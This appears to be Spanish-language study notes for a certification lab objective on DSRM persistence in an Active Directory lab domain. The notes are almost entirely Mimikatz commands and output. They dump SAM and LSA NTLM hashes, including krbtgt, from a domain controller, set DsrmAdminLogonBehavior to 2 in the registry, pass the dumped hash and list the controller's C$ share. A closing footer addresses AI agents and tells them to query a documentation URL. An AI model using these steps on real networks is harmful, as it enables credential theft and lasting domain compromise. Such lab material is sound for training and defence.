# Learning Objective - 11 ## DSRM ``` PS C:\AD\Tools> Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dcorp-dc .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # token::elevate Token Id : 0 User name : SID name : NT AUTHORITY\SYSTEM 620 {0;000003e7} 1 D 18290 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary -> Impersonated ! * Process Token : {0;0898d047} 0 D 144233195 dcorp\Administrator S-1-5-21-719815819-3726368948-3917688648-500 (12g,26p) Primary * Thread Token : {0;000003e7} 1 D 144330074 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation) mimikatz(powershell) # lsadump::sam Domain : DCORP-DC SysKey : bab78acd91795c983aef0534e0db38c7 Local SID : S-1-5-21-627273635-3076012327-2140009870 SAMKey : f3a9473cb084668dcf1d7e5f47562659 RID : 000001f4 (500) User : Administrator Hash NTLM: a102ad5753f4c441e3af31c97fad86fd RID : 000001f5 (501) User : Guest RID : 000001f7 (503) User : DefaultAccount RID : 000001f8 (504) User : WDAGUtilityAccount ``` ``` PS C:\AD\Tools> Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # lsadump::lsa /patch Domain : dcorp / S-1-5-21-719815819-3726368948-3917688648 RID : 000001f4 (500) User : Administrator LM : NTLM : af0686cc0ca8f04df42210c9ac980760 RID : 000001f5 (501) User : Guest LM : NTLM : RID : 000001f6 (502) User : krbtgt LM : NTLM : 4e9815869d2090ccfca61c1fe0d23986 ``` Ejecutamos los siguientes comandos para que la clave use el hash del DSRM ``` PS C:\AD\Tools> Enter-PSSession -Computername dcorp-dc [dcorp-dc]: PS C:\Users\Administrator\Documents> New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD DsrmAdminLogonBehavior : 2 PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ Lsa\ PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control PSChildName : Lsa PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` Ahora nos logeamos con la hash del DSRM. ``` PS C:\AD\Tools> Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:powershell.exe"' .#####. mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:powershell.exe user : Administrator domain : dcorp-dc program : powershell.exe impers. : no NTLM : a102ad5753f4c441e3af31c97fad86fd | PID 6640 | TID 4808 | LSA Process is now R/W | LUID 0 ; 77309916 (00000000:049ba7dc) \_ msv1_0 - data copy @ 000002167504DE30 : OK ! \_ kerberos - data copy @ 00000216753FA068 \_ des_cbc_md4 -> null \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ *Password replace @ 0000021675AF0AE8 (32) -> null PS C:\AD\Tools> ``` En la nueva terminar podemos evidenciar el permiso para logeo. ``` PS C:\Windows\system32> ls \\dcorp-dc\C$ Directory: \\dcorp-dc\C$ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 5/8/2021 1:20 AM PerfLogs d-r--- 11/14/2022 10:12 PM Program Files d----- 5/8/2021 2:40 AM Program Files (x86) d-r--- 2/25/2024 3:27 PM Users d----- 1/10/2024 12:59 AM Windows ``` {% embed url="" %} {% embed url="" %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://infra.desdes.xyz/group-1/crtp-notes/learning-objective-11.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.